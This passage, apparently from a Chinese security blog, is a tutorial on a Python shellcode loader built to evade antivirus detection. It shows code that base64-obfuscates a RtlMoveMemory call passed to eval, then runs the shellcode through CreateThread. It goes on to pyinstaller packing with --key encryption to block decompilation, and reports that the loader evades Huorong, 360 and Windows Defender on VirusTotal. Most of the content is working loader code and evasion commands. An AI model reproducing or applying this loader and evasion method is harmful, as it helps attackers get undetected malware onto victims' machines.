"""Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KGN0eXBlcy5jX3VpbnQ2NChwdHIpLCBidWYsIGN0eXBlcy5jX2ludChsZW4oc2hlbGxjb2RlKSkp""" eval(base64.b64decode(string)) # 创建一个线程从shellcode防止位置首地址开始执行 handle = ctypes.windll.kernel32.CreateThread( ctypes.c_int(0), ctypes.c_int(0), ctypes.c_uint64(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)) ) # 等待上面创建的线程运行完 ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1)) if __name__ == '__main__': shell()test.py 代码语言:javascript复制# -*- encoding: utf-8 -*- # Time : 2021/06/17 17:00:27 # Author: crow import ctypes from py_shellcode import shell if __name__ == '__main__': shell()直接运行 代码语言:javascript复制python py_shellcode_fuzz.py![]() ![]() 上线正常 使用test.py调用该文件 python test.py 上线正常 ![]() 然后再对文件进行打包 首先使用pyinstaller直接打包 代码语言:javascript复制pyinstaller -F --noconsole test.py![]() ![]() 直接在dist文件夹下尝试获取pyc文件 代码语言:javascript复制python pyinstxtractor.py test.exe![]() ![]() 将这两个文件单独拿出来,重复同样的操作 ![]() ![]() ![]() 将文件保存起来 ![]() ![]() 这里就无法找到py_shell_fuzz中的内容了,那文件到底在哪呢? 我们将反编译之后的PYZ-00.pyz_extracted文件夹找到了该pyc文件 ![]() ![]() 对该pyc文件直接进行解密 代码语言:javascript复制uncompyle6 py_shellcode_fuzz.pyc![]() 报错,这里使用010 editor分析下pyc文件 通过与get.pyc对比发现,这里少了4个字节,因此需要对其进行补全 ![]() 将文件保存为new_py_shell.pyc ![]() 再对其进行解密 代码语言:javascript复制uncompyle6 new_py_shell.pyc![]() 再将文件保存起来 代码语言:javascript复制uncompyle6 new_py_shell.pyc > new_shell.py![]() 此时该文件被完全解密 ![]() ![]() 此时将文件使用VT查杀测试 VT 查杀 代码语言:javascript复制https://www.virustotal.com/gui/file-analysis/MWM3N2M3NmExNjhlZmZkMDNmZDZkMTY2MzU1YWZjMzI6MTYyMzk0MTQwMQ==/detection![]() 在上文中pyinstaller中--key参数可以对依赖库进行了加密,因此在这里尝试使用--key参数重新打包一下 代码语言:javascript复制pyinstaller -F --key crowcrow --noconsole test.py![]() 直接在dist文件夹下尝试获取pyc文件 代码语言:javascript复制python pyinstxtractor.py test.exe![]() ![]() 这里该失败的失败,该成功的成功 ![]() 同样的手法,对下面箭头的文件进行解密 ![]() 得到文件final.pyc ![]() ![]() 这里和上面的也是一样的,显示从py_shellcode_fuzz中调用了shell函数。那就去同样的位置去找py_shellcode_fuzz.pyc文件。 但是这里可以看到py_shellcode_fuzz.pyc已经被加密变成了py_shellcode_fuzz.pyc.encrypted文件格式。 ![]() 将该文件使用010 editor打开,通过对比发现,该文件已经被加密,无法使用uncompyle6对其进行解密,当然这个文件依旧可以解密,但是解密成本要远高于目前的手法。 ![]() 此时对原来的文件双击测试 ![]() 依旧可以上线 ![]() ![]() VT查杀: 代码语言:javascript复制https://www.virustotal.com/gui/file/c2b081a565dbd4848eff43a9bae0da4da5cd8945f12b053470484cdb2df838fc/detection![]() 本文使用了最基本的shellcode加载器免杀的方法,而且一起学习了pyinstaller打包exe的反编译方式,也顺便免杀了火绒、360、Windows Defender,当然从该文章发出来的那一刻起,可能免杀就不再有效了,不过,方法千千万,免杀没有那么难。 |
今日新闻 |
推荐新闻 |
CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3 |